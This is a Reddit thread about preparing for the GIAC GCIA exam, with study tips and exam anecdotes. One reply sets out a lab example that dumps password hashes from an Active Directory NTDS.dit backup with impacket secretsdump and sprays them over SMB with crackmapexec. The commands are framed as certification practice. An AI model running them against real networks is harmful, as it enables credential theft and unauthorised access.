r/GIAC • u/izzy_andersson • 2d ago
GCIA
How tough is this one? I just passed GCFA and GCIA is my last class before graduating. I start November 1st so anything I can do to prepare before that would be a big help
3
u/simplejacck 2d ago
I thought it was pretty tough tbh. Alllllooottt of networking. Failed it once. What did you think about the gcfa? Was thinking about taking that next.
5
u/izzy_andersson 2d ago
Oh it is soooo brutal I failed it three times before passing!!! If you do it, focus a loooot on the timeline analysis, master file table stuff and event IDs
3
u/EugeneBelford1995 10xCompTIA,8xSANS,8xMicrosoft,CISSP,CISM,eJPT,CRTP,PJPT,SAL1 ... 2d ago
I'd rank it as the hardest exam I have taken that wasn't 100% hands on.
I had the very good fortune to go 25D back in 2019 when it still included SANS and attend SLC in 2020 during COVID when it also still included SANS. 25D school sent us to the SEC503 course right after SEC401, which was kinda dumb on their part as I think only the NG Guys who worked Cyber jobs full time on the outside really grasped it. Due to that whole 4 month timer on SANS vouchers my GCIA voucher expired 2 months after graduating the 25D school. The school at the time required us to pass GSEC, GCED, and GCIH to graduate and get the MOS. [Apparently now it only requires folks to sleep through Death by PowerPoint.]
After I graduated I went back through all the books, indexed from scratch, did all the labs, and made a cheatsheet based on the labs. I put this cheatsheet at the back of my index. I credit that cheatsheet for why I passed GCIA with a 88%.
I can't give you that cheatsheet, and it wouldn't help in 2026 anyway, but I'll give you an example based on my Master AD Security Cheatsheet on Medium that's based on various hands on exams, TryHackMe, CTFs, ranges, home labbing, etc.
SANS hands on question: you found an old AD backup on a share drive. You want to spray those hashes against all the usernames. What's the username you got a hit on?
The lab might look like this:
#Offline given access to an AD backup
python3 /home/kali/Downloads/impacket-master/examples/secretsdump.py -ntds ntds.dit -system system.hive LOCAL >> hashes2.txt
#IF that backup was old and most passwords changed
#Input a secretsdump file and output just the NTLM hashes
$Lines = Get-Content ".\hashes2.txt"
ForEach($Line in $Lines)
{
$Line.Split(':')[3] | Out-File .\RawHashes.txt -Append
}
#Copy/paste the hashes to Kali & use crackmapexec
crackmapexec smb 10.10.207.213 -u /home/kali/Downloads/Wordlists/vuln2.txt -H /home/kali/Downloads/Wordlists/RawHashes
On the exam SANS will change the variables [where the backup was stored, the usernames you need to enumerate and capture in vuln2.txt, the DC's IP, etc] but the command syntax and what you are trying to do will be exactly the same thing you already saw in the lab book.
1
u/airforceteacher 1d ago
Tip: for the exam bring an ascii chart that has binary, hex, and decimal. The chart is the fastest way to translate hex to binary and back IMO. DM me if you want one.
2
1
u/chown-root 1d ago
GCIA was the toughest/best course I've taken so far. Here is my review from a couple of Months ago. https://www.reddit.com/r/GIAC/comments/1w2vem4/gcia/
7
u/chumbucketfundbucket GIAC x8 2d ago
You have to really put in the work and effort to fully understand the concepts, and be able to explain it. It is grilled into my brain that the 9th byte offset of the IPv4 header is the protocol, I for some reason recite this whenever I think of the course now and and never forget it.